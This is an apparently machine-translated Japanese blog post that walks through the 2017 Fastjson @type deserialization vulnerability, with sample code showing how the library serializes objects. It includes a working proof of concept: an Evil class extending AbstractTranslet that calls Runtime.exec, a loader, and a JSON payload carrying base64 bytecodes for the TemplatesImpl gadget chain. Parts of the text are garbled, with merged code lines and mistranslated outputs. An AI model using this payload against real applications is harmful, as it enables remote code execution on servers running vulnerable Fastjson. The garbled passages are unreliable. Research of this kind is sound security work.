自分の手でDebug Fastjsonのセキュリティホールを解決します。


概要
JavaはJSONのデータを処理して3つの比較的に流行っている種類の倉庫があります。gson、jackson、今日の主役fastjson、fastjsonはアリババのオープンソースのjsonに関するjava libraryです。住所はここです。
https://github.com/alibaba/fastjson
Fastjsonは、javaのオブジェクトをJson形式に変換することができ、jsonをjavaオブジェクトに変換することもでき、効率が高く、webサービスおよびandroidに広く使われています。JSONString()方法は、javaのオブジェクトをJson形式に変換することができます。同様に、parseObject法により、JSONStringデータをjavaのオブジェクトに変換することができます。
4月18日頃にfastjsonでセキュリティアップデートが行われました。ここでお知らせします。
https://github.com/alibaba/fastjson/wiki/security_udate_2017315
当時はこれに慣れていませんでした。何日間見ても収穫がありませんでした。最近はpocや分析の文章をフォローしてくれる人がいますが、やはり面白いです。
fastjson簡単な使用紹介
仕事をよくしようとするなら、まず器を利するべきです。この穴を研究するには、まずこのfastjsonが何をするかを知るべきです。自分でこのクラスを研究しました。User.java codeは以下の通りです。

testFastJson.javacodeは以下の通りです。

package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
        
    public static void main(String[] args){
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("key1","One");
        map.put("key2", "Two");
        String mapJson = JSON.toJSONString(map);    
        System.out.println(mapJson);
        
        User user1 = new User();
        user1.setUsername("    ");
        user1.setSex("male");    
        System.out.println("obj name:"+user1.getClass().getName());
        
        //   
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);
        
        String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
        System.out.println("serializedStr1="+serializedStr1);
        
        //  parse        
        User user2 = (User)JSON.parse(serializedStr1);
        System.out.println(user2.getUsername());
        System.out.println();
        
        //  parseObject                      JSONObject
        Object obj = JSON.parseObject(serializedStr1);
        System.out.println(obj);
        System.out.println("obj name:"+obj.getClass().getName()+"
");                  //         Object obj1 = JSON.parseObject(serializedStr1,Object.class);         System.out.println(obj1);         System.out.println("obj1 name:"+obj1.getClass().getName());              } }
出力はこうです
{key 1”:“One”、“key 2”:“Two”}
OB name:fastjsonVul.fastjson Test.User
serialized Str={「Sex」:「male」,「Username」:「ジュース履歴書」,「sex」:「male」,「username」:「ジュース履歴書」)
serialized Str 1=「@type」:「fastjsonVul.fastjson Test.User」、「Sex」:「male」、「Username」:「xiaoming」、「sex」:「male」、「username」:「ジュース履歴書」
ジュースの履歴書
{「Username」:「ジュース履歴書」、「Sex」:「male」、「sex」:「male」、「username」:「ジュース履歴書」)
OB name:comp.alibaba.fastjson.JSONObject
fastjsonVul.fastjson Test.User@18769467
Obj 1 name:fastjsonVul.fastjson Test.User
Fastjsonホール詳細
fastjsonホールができたところはJSON.parseObjectという方法です。
最初はクラス初期化時のコンストラクタまたは変数のsetter方法でのみ悪意のコードが実行されます。
Evil.java

import java.io.IOException;
 
public class Evil {
 
    public String getName() {
        System.out.println("i am getterName!");
        return name;
    }
 
    public void setName(String name) {
        System.out.println("i am setterName!");
        this.name = name;
    }
 
    public String name;
 
    public int getAge() {
        System.out.println("i am getterAge!");
        return age;
    }
 
    public void setAge(int age) {
        System.out.println("i am setterAge!");
        this.age = age;
    }
 
    private int age;
 
    public Evil() throws IOException{
        System.out.println("i am constructor!");
    }
}

import com.alibaba.fastjson.JSON;
 
import java.io.*;
 
public class App{
    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; //            
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); //      
        while (line != null) { //    line        
            buffer.append(line); //           buffer  
            buffer.append("
"); //              line = reader.readLine(); //          }         reader.close();         is.close();     }     public static void main( String[] args ) throws IOException     {         StringBuffer Buffer = new StringBuffer();         App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");         Object obj = JSON.parseObject(Buffer.toString());     } }
demo.jsonの内容は以下の通りです。

{
 "@type" : "Evil1",
 "name" : "M0rk",
 "age"  : "20"}

@typeの「特性」により、構造関数およびプライベートおよび共有メンバー変数のgetterおよびsetter方法が実行されることが見られます。しかし、これはまだ私達の欲しい結果に達していないようです。上記の状況はEvilという種類をコントロールする必要があります。(一般的にはファイルを通して書かれています。)今はあまり現実的ではありません。
もう一つの方法は、コンパイルされたクラスまたはJarファイルをbyte[]に変換し、defineClassを通じてbyte[]をロードしてクラスのオブジェクトに戻すことです。
安全研究員がこのクラスを発見しました。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
このクラスには次のような呼び出しチェーンがあります。完了しました。classファイルのオブジェクトの実装は、MailCous ClassはAbstractTransletを引き継ぐ必要があります。より多くのこの呼び出しチェーンの参照リンク
https://gist.github.com/frohoff/24af7913611f8406eaf3

 
上の図に示す攻撃起動スタック情報のように、Templates Implコールチェーンと完全に一致していますが、最終的にはdefineclassでbytecodes[]をロードしてコマンド実行に至りました。
Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
 
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
 
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 
 
public class poc {
 
    public static String readClass(String cls) {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
 
    }
 
 
    public static void main(String args[]) throws Exception{
//        final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
//        String evilCode = readClass(evilClassPath);
//        System.out.println(evilCode);
        StringBuffer Buffer = new StringBuffer();
        App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
        Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
 
    }
}
evil.json

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
  "_name" : "M0rk",
  "_tfactory" : {},
  "outputProperties" : {}
}
締め括りをつける
この脆弱性の構造については、やはり精巧で、脆弱性の利用条件が厳しいです。もし利用できるなら、開発者はJSON.parseObject(input、Object.class、
Feature.Support NonPublicField);
ほとんどの開発はJSON.parseで済むかもしれません。パーパーミッションと
Feature.Support NonPublicFieldの設定の見積もりは多くないです。だから実際の環境の中でfastjsonのこの隙を掘るのは求められないことに出会うべきです。
ここでは、Debug Fastjsonのセキュリティ・ホールを自分の手で紹介します。Debug Fastjsonのセキュリティ・ホールの内容については、以前の記事を検索したり、以下の関連記事を見たりしてください。これからもよろしくお願いします。